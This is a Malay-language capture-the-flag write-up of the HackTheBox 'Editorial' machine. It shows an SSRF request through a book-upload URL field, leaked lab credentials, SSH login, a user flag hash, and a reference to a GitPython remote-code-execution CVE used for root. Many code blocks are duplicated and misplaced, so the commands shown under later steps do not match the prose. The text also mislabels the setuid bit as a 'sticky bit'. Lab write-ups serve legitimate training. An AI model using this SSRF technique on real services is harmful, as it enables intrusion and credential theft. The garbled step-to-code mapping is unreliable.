Dalam penulisan ini, kami akan meneroka mesin Linux yang mudah dipanggil Editorial. Mesin ini mengeksploitasi kelemahan dan teknik eksploitasi berikut:
Mari kita mulakan dengan mengimbas sasaran kita untuk mencari port terbuka menggunakan nmap:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight] └─# nmap -sS --open -Pn 10.129.115.37 Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT Nmap scan report for 10.129.115.37 (10.129.115.37) Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Kami mempunyai port 22 menjalankan ssh dan port 80 menjalankan pelayan http.
Mengakses port 80 melalui IP kami dialihkan ke editorial.htb, mari tambahkan hos ini pada /etc/hosts kami.
Dengan ini kita boleh mengakses kandungan berikut:
![HackTheBox - Writeup Editorial [Retired]](https://img.php.cn/upload/article/000/000/000/172937595235020.jpg)
Laman web ialah penerbit buku. Antara pilihan yang tersedia kami dapati halaman berikut:
![HackTheBox - Writeup Editorial [Retired]](https://img.php.cn/upload/article/000/000/000/172937595369924.jpg)
Di sini kita boleh menghantar buku kepada penerbit. Penghantaran boleh dilakukan dalam dua cara, memuat naik fail secara setempat atau melalui url.
Apabila menghantar fail, kami dialihkan ke titik akhir yang serupa dengan ini:
Menganalisis kedua-dua pilihan, kami menemui SSRF apabila menyediakan url setempat, menghantar url berikut sebagai muatan: http://127.0.0.1:5000
Dengan ini kami memuat turun fail dan kami mempunyai kandungan berikut dalam format json:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Di sini kami mempunyai beberapa titik akhir yang boleh kami terokai, untuk ini kami akan menggunakan burp suite (yang sudah berjalan di latar belakang) untuk membuat permintaan baharu.
Mula-mula kita fokus pada titik akhir /api/latest/metadata/messages/authors yang mempunyai fungsi berikut: Dapatkan semula mesej alu-aluan yang dihantar kepada pengarang baharu kami
POST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452 Content-Length: 401 Origin: http://editorial.htb Connection: close Referer: http://editorial.htb/upload -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:5000/api/latest/metadata/messages/authors -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------346249403126403154753644150452--
Dengan ini kami mempunyai pulangan berikut:
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 51 static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f
Sekarang mari kita laksanakan permintaan get untuk titik akhir ini:
GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: image/avif,image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://editorial.htb/upload
Maka kami mempunyai pulangan berikut:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:42 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: close
Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f
Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT
Cache-Control: no-cache
ETag: "1719057211.219647-506-4209449183"
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Kami sekali lagi mempunyai pengembalian dalam format json. Di sini kami mempunyai mesej alu-aluan untuk pengarang baharu dan juga nama pengguna dan kata laluan:
Nama pengguna: dev
Kata Laluan: dev080217_devAPI!@
Dengan nama pengguna dan kata laluan ini kami boleh mengakses ssh ke sasaran kami:
┌──(root㉿kali)-[/home/kali] └─# ssh dev@editorial.htb The authenticity of host 'editorial.htb (10.129.101.138)' can't be established. ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts. dev@editorial.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sat Jun 22 11:54:05 AM UTC 2024 System load: 0.0 Usage of /: 60.4% of 6.35GB Memory usage: 12% Swap usage: 0% Processes: 225 Users logged in: 0 IPv4 address for eth0: 10.129.101.138 IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52 dev@editorial:~$
Dan dengan pengguna ini kami mendapat bendera pengguna!
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight] └─# nmap -sS --open -Pn 10.129.115.37 Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT Nmap scan report for 10.129.115.37 (10.129.115.37) Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Dalam direktori utama pengguna dev kami mempunyai direktori yang dipanggil apl. Mengakses direktori ini kami mempunyai kandungan berikut:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Hanya terdapat satu direktori yang dipanggil .git. Direktori .git merekodkan semua perubahan pada projek, merekodkan keseluruhan sejarah projek.
Dengan ini kita boleh melihat sejarah komit:
POST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452 Content-Length: 401 Origin: http://editorial.htb Connection: close Referer: http://editorial.htb/upload -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:5000/api/latest/metadata/messages/authors -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------346249403126403154753644150452--
Antara commit adalah seperti berikut:
HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 22 Jun 2024 11:53:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 51 static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f
Data daripada pengeluaran kepada pembangunan telah diturunkan, di sini kita boleh mendapatkan maklumat penting.
Untuk melihat kandungan komit ini, kami akan menggunakan arahan git revert, yang akan mengembalikan perubahan dan mengembalikan projek kepada komit ini:
GET /static/uploads/413c49ad-8adb-4bbb-9579-8a13e870ff5f HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: image/avif,image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Referer: http://editorial.htb/upload
Kami mempunyai fail bernama app.py, mari lihat kandungannya:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 22 Jun 2024 11:53:42 GMT
Content-Type: application/octet-stream
Content-Length: 506
Connection: close
Content-Disposition: inline; filename=413c49ad-8adb-4bbb-9579-8a13e870ff5f
Last-Modified: Sat, 22 Jun 2024 11:53:31 GMT
Cache-Control: no-cache
ETag: "1719057211.219647-506-4209449183"
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Di sini kami mempunyai titik akhir yang serupa dengan apa yang kami temui melalui SSRF pada mulanya. Perbezaannya ialah data capaian milik pengguna lain:
Nama pengguna: prod
Kata Laluan: 080217_Producti0n_2023!@
Melihat pengguna yang kami ada dalam sasaran kami dan yang mempunyai cangkerang aktif, kami mempunyai pengguna berikut:
┌──(root㉿kali)-[/home/kali] └─# ssh dev@editorial.htb The authenticity of host 'editorial.htb (10.129.101.138)' can't be established. ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts. dev@editorial.htb's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sat Jun 22 11:54:05 AM UTC 2024 System load: 0.0 Usage of /: 60.4% of 6.35GB Memory usage: 12% Swap usage: 0% Processes: 225 Users logged in: 0 IPv4 address for eth0: 10.129.101.138 IPv6 address for eth0: dead:beef::250:56ff:feb0:6c4b Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52 dev@editorial:~$
Terdapat pengguna bernama prod. Kami boleh menggunakan kata laluan baharu ini untuk menggunakan pengguna ini:
dev@editorial:~$ ls -a . .. apps .bash_history .bash_logout .bashrc .cache .profile user.txt dev@editorial:~$ cat user.txt 389072ccb7be77e63a1590defe01750e
Dengan pengguna baharu, kami dapat melihat bahawa kami boleh menjalankan skrip python dengan sudo, yang memberi kami kebenaran root:
dev@editorial:~/apps$ ls -alh total 12K drwxrwxr-x 3 dev dev 4.0K Jun 5 14:36 . drwxr-x--- 4 dev dev 4.0K Jun 5 14:36 .. drwxr-xr-x 8 dev dev 4.0K Jun 5 14:36 .git
Arahannya ialah untuk melaksanakan skrip python yang menerima sebarang parameter, disebabkan oleh asterisk *.
Kami boleh pratonton kandungan skrip untuk melihat perkara yang kami dapat laksanakan:
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
Kami tidak mempunyai kebenaran untuk mengedit fail, hanya laksanakan. Skrip menggunakan Python os dan perpustakaan sys, yang membolehkan anda melakukan tindakan pada Linux.
Skrip menerima parameter, untuk ini Python lib sys digunakan.
Perubahan direktori dibuat kepada /opt/internal_apps/clone_changes menggunakan fungsi chdir daripada python lib os.
Kini menggunakan lib python lain yang dipanggil git git init dicipta, yang memulakan repositori.
Parameter yang diterima oleh skrip mestilah repositori, supaya klon git boleh dibuat menggunakan git lib yang sama ini.
Kami boleh mencari kelemahan dalam lib ini, untuk ini kami perlu mendapatkan versi melalui pip, iaitu pengurus pakej python:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/boardlight] └─# nmap -sS --open -Pn 10.129.115.37 Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-15 15:06 EDT Nmap scan report for 10.129.115.37 (10.129.115.37) Host is up (0.15s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Mencari kelemahan yang kami temui CVE-2022-24439, yang merupakan Pelaksanaan Kod Jauh disebabkan pengesahan input pengguna yang tidak mencukupi.
Kerentanan ini dilaporkan oleh Snyk, yang turut menyediakan PoC.
Kami boleh menukar poc untuk membaca fail sebagai root atau meningkatkan akses kami kepada root.
Untuk membaca fail kita boleh melaksanakan arahan berikut:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/editorial]
└─# jq . requests-result/0483497c-293d-44a4-87af-46a85f20cb60
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Dan supaya kita boleh membaca bendera akar.
Kita juga boleh menambah bit melekit dalam fail /bin/bash, dengan cara ini kita boleh mendapatkan shell sebagai root. Bit melekit membolehkan pengguna lain menggunakan fail atau binari dengan kebenaran daripada pemilik fail, dalam kes ini pengguna root. Menambah pada /bin/bash kita mendapat shell sebagai root:
POST /upload-cover HTTP/1.1 Host: editorial.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------346249403126403154753644150452 Content-Length: 401 Origin: http://editorial.htb Connection: close Referer: http://editorial.htb/upload -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookurl" http://127.0.0.1:5000/api/latest/metadata/messages/authors -----------------------------346249403126403154753644150452 Content-Disposition: form-data; name="bookfile"; filename="" Content-Type: application/octet-stream -----------------------------346249403126403154753644150452--
Maka kami menyelesaikan mesin Editorial!
![HackTheBox - Writeup Editorial [Retired]](https://img.php.cn/upload/article/000/000/000/172937595448544.jpg)
Atas ialah kandungan terperinci HackTheBox - Editorial Tulisan [Bersara]. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!
![[Web front-end] Permulaan pantas Node.js](https://img.php.cn/upload/course/000/000/067/662b5d34ba7c0227.png)
